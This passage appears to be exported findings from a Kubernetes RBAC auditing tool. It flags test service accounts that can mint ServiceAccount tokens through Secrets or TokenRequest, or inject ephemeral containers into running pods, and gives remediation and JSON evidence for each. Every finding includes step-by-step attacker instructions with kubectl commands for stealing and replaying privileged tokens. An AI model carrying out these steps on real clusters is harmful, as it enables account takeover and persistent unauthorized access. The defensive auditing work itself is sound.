  3. Prefer bound TokenRequest tokens over legacy token Secrets; on modern clusters, avoid manually creating kubernetes.io/service-account-token Secrets.
  4. Audit existing token Secrets: kubectl get secrets -A --field-selector type=kubernetes.io/service-account-token and remove any that are not expected.
  5. Verify with kubectl auth can-i create secrets --as=deepchain-privileged -A returning no for at least one of the two verbs.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingdeepchain-privileged
Inspect: kubectl get clusterrolebinding deepchain-privileged -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "deepchain-privileged",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
HIGH ServiceAccount/flux-system/kustomize-controller Cluster 10.0
Cluster-wide create+get on Secrets mints a ServiceAccount token (ServiceAccount/flux-system/kustomize-controller)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/flux-system/kustomize-controller Resource: RBACRule/cluster-admin

Subject ServiceAccount/flux-system/kustomize-controller can both create Secrets (via ClusterRoleBinding deepchain-flux-admin → ClusterRole cluster-admin) and get Secrets (via ClusterRoleBinding deepchain-flux-admin → ClusterRole cluster-admin). Cluster-wide: applies to every current and future namespace.

Held together, these two verbs reconstruct the legacy ServiceAccount-token minting primitive. The attacker creates a Secret of type kubernetes.io/service-account-token annotated with kubernetes.io/service-account.name: <target-sa>. The token controller observes the new Secret and populates its data.token field with a valid, long-lived JWT for that ServiceAccount. The attacker then gets the Secret back and reads the minted token.

This sidesteps the TokenRequest API gating (KUBE-PRIVESC-014): no serviceaccounts/token permission is required. By targeting a privileged SA (a kube-system controller, or any SA bound to a powerful ClusterRole), the attacker obtains that SA's identity. The token is a non-expiring secret-backed token, so it persists until the Secret is deleted.

Impact Mint and read a long-lived token for any ServiceAccount in Cluster-wide by creating a token-type Secret and reading the controller-populated value: a persistence-friendly alternative to the TokenRequest API.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMint a token via a legacy Secret

Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

  1. Attacker confirms both verbs with kubectl auth can-i create secrets --as=kustomize-controller -A and kubectl auth can-i get secrets --as=kustomize-controller -A.
  2. They pick a privileged target ServiceAccount (e.g. one bound to a powerful ClusterRole).
  3. They create a Secret of type kubernetes.io/service-account-token annotated with kubernetes.io/service-account.name: <target-sa>.
  4. The token controller fills in data.token; the attacker gets the Secret and base64-decodes the JWT.
  5. They replay the token as the target ServiceAccount. The token is secret-backed and does not expire, surviving RBAC remediation until the Secret is deleted.
Remediation
Do not grant create and get on secrets to the same subject; scope each by resourceNames and disable legacy token-Secret auto-population where possible.
  1. Split the two verbs across different identities, or remove one. Application workloads rarely need to create Secrets at runtime.
  2. If Secret creation is required, scope it by resourceNames and never pair it with broad get on secrets.
  3. Prefer bound TokenRequest tokens over legacy token Secrets; on modern clusters, avoid manually creating kubernetes.io/service-account-token Secrets.
  4. Audit existing token Secrets: kubectl get secrets -A --field-selector type=kubernetes.io/service-account-token and remove any that are not expected.
  5. Verify with kubectl auth can-i create secrets --as=kustomize-controller -A returning no for at least one of the two verbs.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingdeepchain-flux-admin
Inspect: kubectl get clusterrolebinding deepchain-flux-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "deepchain-flux-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
HIGH ServiceAccount/foothold-exec/foothold-decoy-sa Cluster 10.0
Cluster-wide create+get on Secrets mints a ServiceAccount token (ServiceAccount/foothold-exec/foothold-decoy-sa)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/foothold-exec/foothold-decoy-sa Resource: RBACRule/cluster-admin

Subject ServiceAccount/foothold-exec/foothold-decoy-sa can both create Secrets (via ClusterRoleBinding foothold-decoy-admin → ClusterRole cluster-admin) and get Secrets (via ClusterRoleBinding foothold-decoy-admin → ClusterRole cluster-admin). Cluster-wide: applies to every current and future namespace.

Held together, these two verbs reconstruct the legacy ServiceAccount-token minting primitive. The attacker creates a Secret of type kubernetes.io/service-account-token annotated with kubernetes.io/service-account.name: <target-sa>. The token controller observes the new Secret and populates its data.token field with a valid, long-lived JWT for that ServiceAccount. The attacker then gets the Secret back and reads the minted token.

This sidesteps the TokenRequest API gating (KUBE-PRIVESC-014): no serviceaccounts/token permission is required. By targeting a privileged SA (a kube-system controller, or any SA bound to a powerful ClusterRole), the attacker obtains that SA's identity. The token is a non-expiring secret-backed token, so it persists until the Secret is deleted.

Impact Mint and read a long-lived token for any ServiceAccount in Cluster-wide by creating a token-type Secret and reading the controller-populated value: a persistence-friendly alternative to the TokenRequest API.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMint a token via a legacy Secret

Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

  1. Attacker confirms both verbs with kubectl auth can-i create secrets --as=foothold-decoy-sa -A and kubectl auth can-i get secrets --as=foothold-decoy-sa -A.
  2. They pick a privileged target ServiceAccount (e.g. one bound to a powerful ClusterRole).
  3. They create a Secret of type kubernetes.io/service-account-token annotated with kubernetes.io/service-account.name: <target-sa>.
  4. The token controller fills in data.token; the attacker gets the Secret and base64-decodes the JWT.
  5. They replay the token as the target ServiceAccount. The token is secret-backed and does not expire, surviving RBAC remediation until the Secret is deleted.
Remediation
Do not grant create and get on secrets to the same subject; scope each by resourceNames and disable legacy token-Secret auto-population where possible.
  1. Split the two verbs across different identities, or remove one. Application workloads rarely need to create Secrets at runtime.
  2. If Secret creation is required, scope it by resourceNames and never pair it with broad get on secrets.
  3. Prefer bound TokenRequest tokens over legacy token Secrets; on modern clusters, avoid manually creating kubernetes.io/service-account-token Secrets.
  4. Audit existing token Secrets: kubectl get secrets -A --field-selector type=kubernetes.io/service-account-token and remove any that are not expected.
  5. Verify with kubectl auth can-i create secrets --as=foothold-decoy-sa -A returning no for at least one of the two verbs.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingfoothold-decoy-admin
Inspect: kubectl get clusterrolebinding foothold-decoy-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "foothold-decoy-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
HIGH ServiceAccount/privesc-fixtures/sa-secret-mint Cluster 10.0
Cluster-wide create+get on Secrets mints a ServiceAccount token (ServiceAccount/privesc-fixtures/sa-secret-mint)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-secret-mint Resource: RBACRule/cr-secret-mint

Subject ServiceAccount/privesc-fixtures/sa-secret-mint can both create Secrets (via ClusterRoleBinding crb-secret-mint → ClusterRole cr-secret-mint) and get Secrets (via ClusterRoleBinding crb-secret-mint → ClusterRole cr-secret-mint). Cluster-wide: applies to every current and future namespace.

Held together, these two verbs reconstruct the legacy ServiceAccount-token minting primitive. The attacker creates a Secret of type kubernetes.io/service-account-token annotated with kubernetes.io/service-account.name: <target-sa>. The token controller observes the new Secret and populates its data.token field with a valid, long-lived JWT for that ServiceAccount. The attacker then gets the Secret back and reads the minted token.

This sidesteps the TokenRequest API gating (KUBE-PRIVESC-014): no serviceaccounts/token permission is required. By targeting a privileged SA (a kube-system controller, or any SA bound to a powerful ClusterRole), the attacker obtains that SA's identity. The token is a non-expiring secret-backed token, so it persists until the Secret is deleted.

Impact Mint and read a long-lived token for any ServiceAccount in Cluster-wide by creating a token-type Secret and reading the controller-populated value: a persistence-friendly alternative to the TokenRequest API.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMint a token via a legacy Secret

Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

  1. Attacker confirms both verbs with kubectl auth can-i create secrets --as=sa-secret-mint -A and kubectl auth can-i get secrets --as=sa-secret-mint -A.
  2. They pick a privileged target ServiceAccount (e.g. one bound to a powerful ClusterRole).
  3. They create a Secret of type kubernetes.io/service-account-token annotated with kubernetes.io/service-account.name: <target-sa>.
  4. The token controller fills in data.token; the attacker gets the Secret and base64-decodes the JWT.
  5. They replay the token as the target ServiceAccount. The token is secret-backed and does not expire, surviving RBAC remediation until the Secret is deleted.
Remediation
Do not grant create and get on secrets to the same subject; scope each by resourceNames and disable legacy token-Secret auto-population where possible.
  1. Split the two verbs across different identities, or remove one. Application workloads rarely need to create Secrets at runtime.
  2. If Secret creation is required, scope it by resourceNames and never pair it with broad get on secrets.
  3. Prefer bound TokenRequest tokens over legacy token Secrets; on modern clusters, avoid manually creating kubernetes.io/service-account-token Secrets.
  4. Audit existing token Secrets: kubectl get secrets -A --field-selector type=kubernetes.io/service-account-token and remove any that are not expected.
  5. Verify with kubectl auth can-i create secrets --as=sa-secret-mint -A returning no for at least one of the two verbs.
Evidence
ScopeCluster
API groupscore/v1
Resourcessecrets
secrets: Holds credentials, tokens, TLS keys
Verbscreateget
create: Create new objects of this resource
Source rolecr-secret-mint
Inspect: kubectl get clusterrole cr-secret-mint -o yaml
Source bindingcrb-secret-mint
Inspect: kubectl get clusterrolebinding crb-secret-mint -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "secrets"
  ],
  "scope": "cluster",
  "source_binding": "crb-secret-mint",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-secret-mint",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create",
    "get"
  ]
}
HIGH ServiceAccount/rbac-fixtures/sa-cluster-admin Cluster 10.0
Cluster-wide create+get on Secrets mints a ServiceAccount token (ServiceAccount/rbac-fixtures/sa-cluster-admin)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-cluster-admin Resource: RBACRule/cluster-admin

Subject ServiceAccount/rbac-fixtures/sa-cluster-admin can both create Secrets (via ClusterRoleBinding crb-cluster-admin → ClusterRole cluster-admin) and get Secrets (via ClusterRoleBinding crb-cluster-admin → ClusterRole cluster-admin). Cluster-wide: applies to every current and future namespace.

Held together, these two verbs reconstruct the legacy ServiceAccount-token minting primitive. The attacker creates a Secret of type kubernetes.io/service-account-token annotated with kubernetes.io/service-account.name: <target-sa>. The token controller observes the new Secret and populates its data.token field with a valid, long-lived JWT for that ServiceAccount. The attacker then gets the Secret back and reads the minted token.

This sidesteps the TokenRequest API gating (KUBE-PRIVESC-014): no serviceaccounts/token permission is required. By targeting a privileged SA (a kube-system controller, or any SA bound to a powerful ClusterRole), the attacker obtains that SA's identity. The token is a non-expiring secret-backed token, so it persists until the Secret is deleted.

Impact Mint and read a long-lived token for any ServiceAccount in Cluster-wide by creating a token-type Secret and reading the controller-populated value: a persistence-friendly alternative to the TokenRequest API.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMint a token via a legacy Secret

Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

  1. Attacker confirms both verbs with kubectl auth can-i create secrets --as=sa-cluster-admin -A and kubectl auth can-i get secrets --as=sa-cluster-admin -A.
  2. They pick a privileged target ServiceAccount (e.g. one bound to a powerful ClusterRole).
  3. They create a Secret of type kubernetes.io/service-account-token annotated with kubernetes.io/service-account.name: <target-sa>.
  4. The token controller fills in data.token; the attacker gets the Secret and base64-decodes the JWT.
  5. They replay the token as the target ServiceAccount. The token is secret-backed and does not expire, surviving RBAC remediation until the Secret is deleted.
Remediation
Do not grant create and get on secrets to the same subject; scope each by resourceNames and disable legacy token-Secret auto-population where possible.
  1. Split the two verbs across different identities, or remove one. Application workloads rarely need to create Secrets at runtime.
  2. If Secret creation is required, scope it by resourceNames and never pair it with broad get on secrets.
  3. Prefer bound TokenRequest tokens over legacy token Secrets; on modern clusters, avoid manually creating kubernetes.io/service-account-token Secrets.
  4. Audit existing token Secrets: kubectl get secrets -A --field-selector type=kubernetes.io/service-account-token and remove any that are not expected.
  5. Verify with kubectl auth can-i create secrets --as=sa-cluster-admin -A returning no for at least one of the two verbs.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcrb-cluster-admin
Inspect: kubectl get clusterrolebinding crb-cluster-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "crb-cluster-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
HIGH ServiceAccount/rbac-fixtures/sa-wildcard Cluster 10.0
Cluster-wide create+get on Secrets mints a ServiceAccount token (ServiceAccount/rbac-fixtures/sa-wildcard)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-wildcard Resource: RBACRule/cr-wildcard

Subject ServiceAccount/rbac-fixtures/sa-wildcard can both create Secrets (via ClusterRoleBinding crb-wildcard → ClusterRole cr-wildcard) and get Secrets (via ClusterRoleBinding crb-wildcard → ClusterRole cr-wildcard). Cluster-wide: applies to every current and future namespace.

Held together, these two verbs reconstruct the legacy ServiceAccount-token minting primitive. The attacker creates a Secret of type kubernetes.io/service-account-token annotated with kubernetes.io/service-account.name: <target-sa>. The token controller observes the new Secret and populates its data.token field with a valid, long-lived JWT for that ServiceAccount. The attacker then gets the Secret back and reads the minted token.

This sidesteps the TokenRequest API gating (KUBE-PRIVESC-014): no serviceaccounts/token permission is required. By targeting a privileged SA (a kube-system controller, or any SA bound to a powerful ClusterRole), the attacker obtains that SA's identity. The token is a non-expiring secret-backed token, so it persists until the Secret is deleted.

Impact Mint and read a long-lived token for any ServiceAccount in Cluster-wide by creating a token-type Secret and reading the controller-populated value: a persistence-friendly alternative to the TokenRequest API.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMint a token via a legacy Secret

Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

  1. Attacker confirms both verbs with kubectl auth can-i create secrets --as=sa-wildcard -A and kubectl auth can-i get secrets --as=sa-wildcard -A.
  2. They pick a privileged target ServiceAccount (e.g. one bound to a powerful ClusterRole).
  3. They create a Secret of type kubernetes.io/service-account-token annotated with kubernetes.io/service-account.name: <target-sa>.
  4. The token controller fills in data.token; the attacker gets the Secret and base64-decodes the JWT.
  5. They replay the token as the target ServiceAccount. The token is secret-backed and does not expire, surviving RBAC remediation until the Secret is deleted.
Remediation
Do not grant create and get on secrets to the same subject; scope each by resourceNames and disable legacy token-Secret auto-population where possible.
  1. Split the two verbs across different identities, or remove one. Application workloads rarely need to create Secrets at runtime.
  2. If Secret creation is required, scope it by resourceNames and never pair it with broad get on secrets.
  3. Prefer bound TokenRequest tokens over legacy token Secrets; on modern clusters, avoid manually creating kubernetes.io/service-account-token Secrets.
  4. Audit existing token Secrets: kubectl get secrets -A --field-selector type=kubernetes.io/service-account-token and remove any that are not expected.
  5. Verify with kubectl auth can-i create secrets --as=sa-wildcard -A returning no for at least one of the two verbs.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecr-wildcard
Inspect: kubectl get clusterrole cr-wildcard -o yaml
Source bindingcrb-wildcard
Inspect: kubectl get clusterrolebinding crb-wildcard -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "crb-wildcard",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-wildcard",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
HIGH ServiceAccount/lp-fixtures/sa-lp-wildcard Namespace 9.6
Namespace lp-fixtures only create+get on Secrets mints a ServiceAccount token (ServiceAccount/lp-fixtures/sa-lp-wildcard)
Scope · Namespace Namespace lp-fixtures only
Category: Privilege Escalation Subject: ServiceAccount/lp-fixtures/sa-lp-wildcard Resource: RBACRule/lp-fixtures/r-lp-wildcard

Subject ServiceAccount/lp-fixtures/sa-lp-wildcard can both create Secrets (via RoleBinding lp-fixtures/rb-lp-wildcard → Role lp-fixtures/r-lp-wildcard) and get Secrets (via RoleBinding lp-fixtures/rb-lp-wildcard → Role lp-fixtures/r-lp-wildcard). Namespace lp-fixtures only.

Held together, these two verbs reconstruct the legacy ServiceAccount-token minting primitive. The attacker creates a Secret of type kubernetes.io/service-account-token annotated with kubernetes.io/service-account.name: <target-sa>. The token controller observes the new Secret and populates its data.token field with a valid, long-lived JWT for that ServiceAccount. The attacker then gets the Secret back and reads the minted token.

This sidesteps the TokenRequest API gating (KUBE-PRIVESC-014): no serviceaccounts/token permission is required. By targeting a privileged SA (a kube-system controller, or any SA bound to a powerful ClusterRole), the attacker obtains that SA's identity. The token is a non-expiring secret-backed token, so it persists until the Secret is deleted.

Impact Mint and read a long-lived token for any ServiceAccount in Namespace lp-fixtures only by creating a token-type Secret and reading the controller-populated value: a persistence-friendly alternative to the TokenRequest API.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueMint a token via a legacy Secret

Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

  1. Attacker confirms both verbs with kubectl auth can-i create secrets --as=sa-lp-wildcard -n lp-fixtures and kubectl auth can-i get secrets --as=sa-lp-wildcard -n lp-fixtures.
  2. They pick a privileged target ServiceAccount (e.g. one bound to a powerful ClusterRole).
  3. They create a Secret of type kubernetes.io/service-account-token annotated with kubernetes.io/service-account.name: <target-sa>.
  4. The token controller fills in data.token; the attacker gets the Secret and base64-decodes the JWT.
  5. They replay the token as the target ServiceAccount. The token is secret-backed and does not expire, surviving RBAC remediation until the Secret is deleted.
Remediation
Do not grant create and get on secrets to the same subject; scope each by resourceNames and disable legacy token-Secret auto-population where possible.
  1. Split the two verbs across different identities, or remove one. Application workloads rarely need to create Secrets at runtime.
  2. If Secret creation is required, scope it by resourceNames and never pair it with broad get on secrets.
  3. Prefer bound TokenRequest tokens over legacy token Secrets; on modern clusters, avoid manually creating kubernetes.io/service-account-token Secrets.
  4. Audit existing token Secrets: kubectl get secrets -A --field-selector type=kubernetes.io/service-account-token and remove any that are not expected.
  5. Verify with kubectl auth can-i create secrets --as=sa-lp-wildcard -n lp-fixtures returning no for at least one of the two verbs.
Evidence
ScopeNamespace
Namespacelp-fixtures
API groupscore/v1
Resourcessecrets
secrets: Holds credentials, tokens, TLS keys
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source roler-lp-wildcard
Inspect: kubectl get role r-lp-wildcard -n lp-fixtures -o yaml
Source bindingrb-lp-wildcard
Inspect: kubectl get rolebinding rb-lp-wildcard -n lp-fixtures -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "lp-fixtures",
  "resource_names": null,
  "resources": [
    "secrets"
  ],
  "scope": "namespace",
  "source_binding": "rb-lp-wildcard",
  "source_binding_kind": "RoleBinding",
  "source_role": "r-lp-wildcard",
  "source_role_kind": "Role",
  "verbs": [
    "*"
  ]
}
HIGH

Cluster-wide ephemeral-container injection enables takeover of running pods

KUBE-PRIVESC-013 1 subject Score 10.0
MITRE ATT&CK: T1610T1609T1611T1552.007

Affected subject

HIGH ServiceAccount/privesc-fixtures/sa-ephemeral Cluster 10.0
Cluster-wide ephemeral-container injection enables takeover of running pods (ServiceAccount/privesc-fixtures/sa-ephemeral)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-ephemeral Resource: RBACRule/cr-ephemeral

Subject ServiceAccount/privesc-fixtures/sa-ephemeral can update/patch the pods/ephemeralcontainers subresource via ClusterRoleBinding crb-ephemeral → ClusterRole cr-ephemeral. Cluster-wide: applies to every current and future namespace.

Ephemeral containers (the engine behind kubectl debug) are added to an already-running pod. The injected container joins the target pod's namespaces and, crucially, can mount the pod's ServiceAccount token and (with shareProcessNamespace or targetContainerName) inspect the other containers' processes and memory. It is functionally pod creation against an existing victim: the attacker chooses the image and command but inherits the victim pod's identity and host exposure.

Because the parent pod is already scheduled and admitted, ephemeral-container injection can sidestep some admission paths that only fire on pod create, making it a quieter alternative to pods/exec for stealing a privileged pod's token.

Impact Inject an attacker-controlled container into any running pod in Cluster-wide, inheriting that pod's ServiceAccount token, namespaces, and host mounts.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueEphemeral container injection

update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

  1. Attacker confirms the verb with kubectl auth can-i patch pods/ephemeralcontainers --as=sa-ephemeral -A.
  2. They pick a running pod backed by a privileged ServiceAccount (or one that mounts the host).
  3. They inject a debug container: kubectl debug -it <pod> --image=alpine --target=<container>.
  4. From the injected container they read the mounted SA token, or nsenter into the target container's namespaces.
  5. They replay the stolen token, or escape to the node if the parent pod is privileged.
Remediation
Remove update/patch on pods/ephemeralcontainers from non-operator identities; gate debugging behind a break-glass role.
  1. Audit who can inject ephemeral containers: kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test("pods/ephemeralcontainers"))'.
  2. Remove the verbs. Reserve ephemeral-container debugging for a JIT/break-glass role granted only during incidents.
  3. Pin sensitive workloads to dedicated least-privilege ServiceAccounts so an injected container does not yield a powerful token.
  4. Verify with kubectl auth can-i patch pods/ephemeralcontainers --as=sa-ephemeral -A returning no.
Evidence
ScopeCluster
API groupscore/v1
Resourcespods/ephemeralcontainers
Verbsupdatepatch
update: Replace existing objects
patch: Mutate existing objects in place
Source rolecr-ephemeral
Inspect: kubectl get clusterrole cr-ephemeral -o yaml
Source bindingcrb-ephemeral
Inspect: kubectl get clusterrolebinding crb-ephemeral -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "pods/ephemeralcontainers"
  ],
  "scope": "cluster",
  "source_binding": "crb-ephemeral",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-ephemeral",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "update",
    "patch"
  ]
}
HIGH

Cluster-wide create serviceaccounts/token enables token minting

KUBE-PRIVESC-014 3 subjects Score 10.0–9.0
MITRE ATT&CK: T1098.001T1528T1078.004

Affected subjects (3)

HIGH ServiceAccount/rbac-fixtures/sa-token-create Cluster 10.0
Cluster-wide create serviceaccounts/token enables token minting (ServiceAccount/rbac-fixtures/sa-token-create)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-token-create Resource: RBACRule/cr-token-create

Subject ServiceAccount/rbac-fixtures/sa-token-create can create on the serviceaccounts/token subresource via ClusterRoleBinding crb-token-create → ClusterRole cr-token-create. Cluster-wide: applies to every current and future namespace.

The TokenRequest API (Kubernetes 1.22+) is the canonical way to mint a JWT ServiceAccount token, and its create verb is gated by RBAC on the serviceaccounts/token subresource. Anyone holding this verb on a ServiceAccount can mint a token authenticated as that ServiceAccount.

Datadog Security Labs published a write-up on its abuse for persistence: an attacker mints a long-lived token for the highest-privileged ServiceAccount they can reach (commonly kube-system/clusterrole-aggregation-controller, which holds escalate on ClusterRoles), and uses that token as a backdoor that survives the original RBAC binding being removed. Crucially, this verb is NOT covered by 'list secrets' detections. TokenRequest tokens are NOT stored as Secret objects; they're issued live by the apiserver and never leave a footprint on disk.

Impact Mint a JWT for any ServiceAccount in Cluster-wide. Cluster-wide variant trivially yields cluster-admin (mint a kube-system controller token). Tokens persist after the original binding is revoked.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueTokenRequest minting

